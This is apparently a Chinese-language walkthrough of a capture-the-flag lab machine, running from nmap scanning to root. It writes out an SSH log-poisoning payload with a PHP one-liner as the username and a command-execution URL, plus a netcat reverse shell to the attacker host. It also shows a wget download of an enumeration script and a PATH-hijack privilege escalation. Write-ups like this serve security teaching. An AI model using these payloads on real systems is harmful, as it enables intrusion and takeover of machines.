前言：

Kali攻击机：192.168.1.128

靶机：未知

信息收集阶段

nmap -A 192.168.1.3

开放了22端口和80端口，并且通过robots.txt中有一个不允许访问的目录！

漏洞利用阶段

http://192.168.1.3/eventadmins/

意思就是：

ssh有问题，约翰说：它有毒，远离他，

我不知道是否他是否可以接受智力上的挑战！

请找到他，并修复他

同时，检查下这个目录/littlequeenofspades.html

兄弟！

http://192.168.1.3/littlequeenofspades.html

太长了，不翻译了！最后一句好像说把首字母加一起！

NMEIEWEMBNOL，其实没用！

查一下源代码！有一段base64编码！

aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==

最后给一个地址：http://192.168.1.3/adminsfixit.php

查看源码，可以看到是ssh的登录日志：

通过登录日志可以看到登录用户名显示在日志中，如果你采用ssh登录时，将登录格式中的用户名修改为php一句话执行代码就会实现系统命令执行漏洞。

正常ssh登录：

ssh root@192.168.1.3

攻击代码ssh登录：

ssh '<?php system($_GET[“c”]);?>'@192.168.1.3

构造命令执行链接：

http://192.168.1.3/adminsfixit.php?c=pwd

成功回显！！！

http://192.168.1.3/adminsfixit.php?c=ls%20-al

由于可以执行系统命令，我们可以直接把bash送出去！

192.168.1.3/adminsfixit.php?c=nc 10.0.2.15 4444 -e /bin/bash

然后，我们在kali上监听下这个端口：

访问下：

http://192.168.1.3/adminsfixit.php?c=nc%20192.168.1.128%204444%20-e%20/bin/bash

权限提升阶段

我们这里需要获得root和robertj的权限：

我们这里发现，我们具有进入robertj账户的权限：

flag文件没有权限，但是.ssh文件具有完全的权限，所有我们可以把公钥文件放入这个文件夹，进行登录！

采用kali的密钥进行登录：

ssh robertj@192.168.1.3 -i .ssh/id_rsa

获取了第一个flag：

413fc08d*****************9040b0280

接着就需要把权限提升到root！

这里需要用到一个linux提权脚本！

这个脚本可以枚举linux操作系统几乎所有的可提权项，甚至可以通过su暴力破解本地密码。

下载地址：

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

这里我们在kaliLinux，开一个HTTPserver：

wget http://192.168.1.128:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh | tee output

cat output | grep SUID

接着就是最常用的查找SUID的命令：

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

我们看下这个文件中有啥？

执行的ip addr,cat /etc/hosts和uname -a命令：

这样的话，我们在/tmp路径中增加一个名叫ip的二进制制程序。

export PATH=/tmp/:$PATH  //把/tmp路径加入到系统路径中。

可以看到/tmp加入到最前面，所以执行ip时会优先搜索这个目录：

cd /tmp                                  //切换到tmp路径中

echo '/bin/bash' > ip            //把/bin/bash写入到ip中。

chmod +x ip                         //增加执行权限

/usr/bin/getinfo

提权成功：

最终的flag，已经获取完毕！

root@driftingblues:/root# cat root.txt

dfb7******************19b35ec83

完成，有啥问题评论区留言，欢迎共同交流，共同进步！